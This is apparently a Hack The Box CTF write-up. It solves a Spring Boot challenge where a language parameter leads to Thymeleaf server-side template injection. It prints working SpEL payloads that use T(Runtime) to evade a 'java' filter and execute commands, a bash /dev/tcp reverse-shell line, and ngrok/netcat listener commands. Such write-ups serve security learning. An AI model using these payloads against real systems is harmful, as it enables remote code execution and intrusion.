Box description
Check out my new website showcasing a breathtaking view—let's hope no one can 'manipulate' it!
Challenge Description
This challenge is a web application written in Spring Boot. It provides a simple interface with registration and login functionality. Once logged in, we are presented with the following page:

Clicking the "Change Language" button redirects to another page:

Looking at the URL, we can see that the language is passed as a parameter:
http://localhost:1337/?lang=frCode Review
IndexController.java
@Controller
public class IndexController {
@GetMapping("/")
public String index(@RequestParam(defaultValue = "en") String lang, HttpSession session, RedirectAttributes redirectAttributes) {
if (session.getAttribute("user") == null) {
return "redirect:/login";
}
if (lang.toLowerCase().contains("java")) {
redirectAttributes.addFlashAttribute("errorMessage", "But.... For what?");
return "redirect:/";
}
return lang + "/index";
}
}Upon reviewing the IndexController.java code:
- The
indexmethod handles the rendering of the main page and takes in alangparameter, which defaults to"en". - If the
usersession attribute is missing, the method redirects to the login page. - If the
langparameter contains the string"java", the method sets an error message and redirects to the index page. - Otherwise, it returns a path based on
langby appending"/index"to it.
The concatenation of lang with "/index" could allow us to inject code into the lang parameter, leading to a Server-Side Template Injection (SSTI) vulnerability.
Exploitation - Server-Side Template Injection (SSTI)
Proof of Concept (PoC)
To confirm SSTI vulnerability, we inject a simple expression into the lang parameter:
__${7*7}__::.xUsing this payload (sourced from HackTricks), we receive the following response:
Error resolving template [49], template might not exist or might not be accessible by any of the configured Template ResolversThe payload 7*7 evaluated to 49, confirming that SSTI is possible. We can now proceed to exploit this vulnerability.
Exploit Strategy
Our goal is to inject Java code into the lang parameter to execute system commands on the server. However, since any input containing the string "java" triggers a redirection, we need a workaround.
Using the T() Class
In Java, the java.lang package is imported by default. By leveraging the T operator from Spring Expression Language (SpEL), we can call methods like Runtime.getRuntime() without specifying java.lang.
Payload
We start with a payload to list files in the current directory:
__${T(Runtime).getRuntime().exec("ls")}__::.xResponse
Error resolving template [java.lang.UNIXProcess@590062a7], template might not exist or might not be accessible by any of the configured Template ResolversThe response shows java.lang.UNIXProcess@590062a7, indicating that the exec() command executed successfully. However, we don’t see the output of the ls command directly because exec() returns a Process object, not a string.
To capture command output, we need to redirect it to a more accessible place, such as a reverse shell.
Establishing a Reverse Shell
To create a reverse shell, we start by setting up a listener on our machine and then use the following payload to create a shell script on the server:
__${T(Runtime).getRuntime().exec(new String[]{"bash", "-c", "echo 'bash -i >& /dev/tcp/ip/port 0>&1' > shell.sh"})}__::.xLooking at the docker container file, we can see the shell.sh file created
Executing the Shell Script
To run the shell script and establish the reverse shell, we use the following payload:
__${T(Runtime).getRuntime().exec(new String[]{"bash", "-c", "bash shell.sh"})}__::.xUpon execution, we successfully gain a reverse shell and can interact with the server.
With the reverse shell active, we proceed to list files in the root directory:
root@9348cae2ee45 /# ls
app
bin
boot
dev
etc
flag_lyh3sdrgCjCI_.txt
home
...Reading the flag file:
root@9348cae2ee45 /# cat flag_lyh3sdrgCjCI_.txt
HTB{f4k3_fl4g_f0r_t35t1ng}We now have the fake flag!
Note for HTB Server
Direct netcat connections to HTB IPs may not work. Use ngrok or similar tunneling tools to create a TCP tunnel to your machine and connect with netcat.
ngrok tcp 12345
nc -lnv 12345
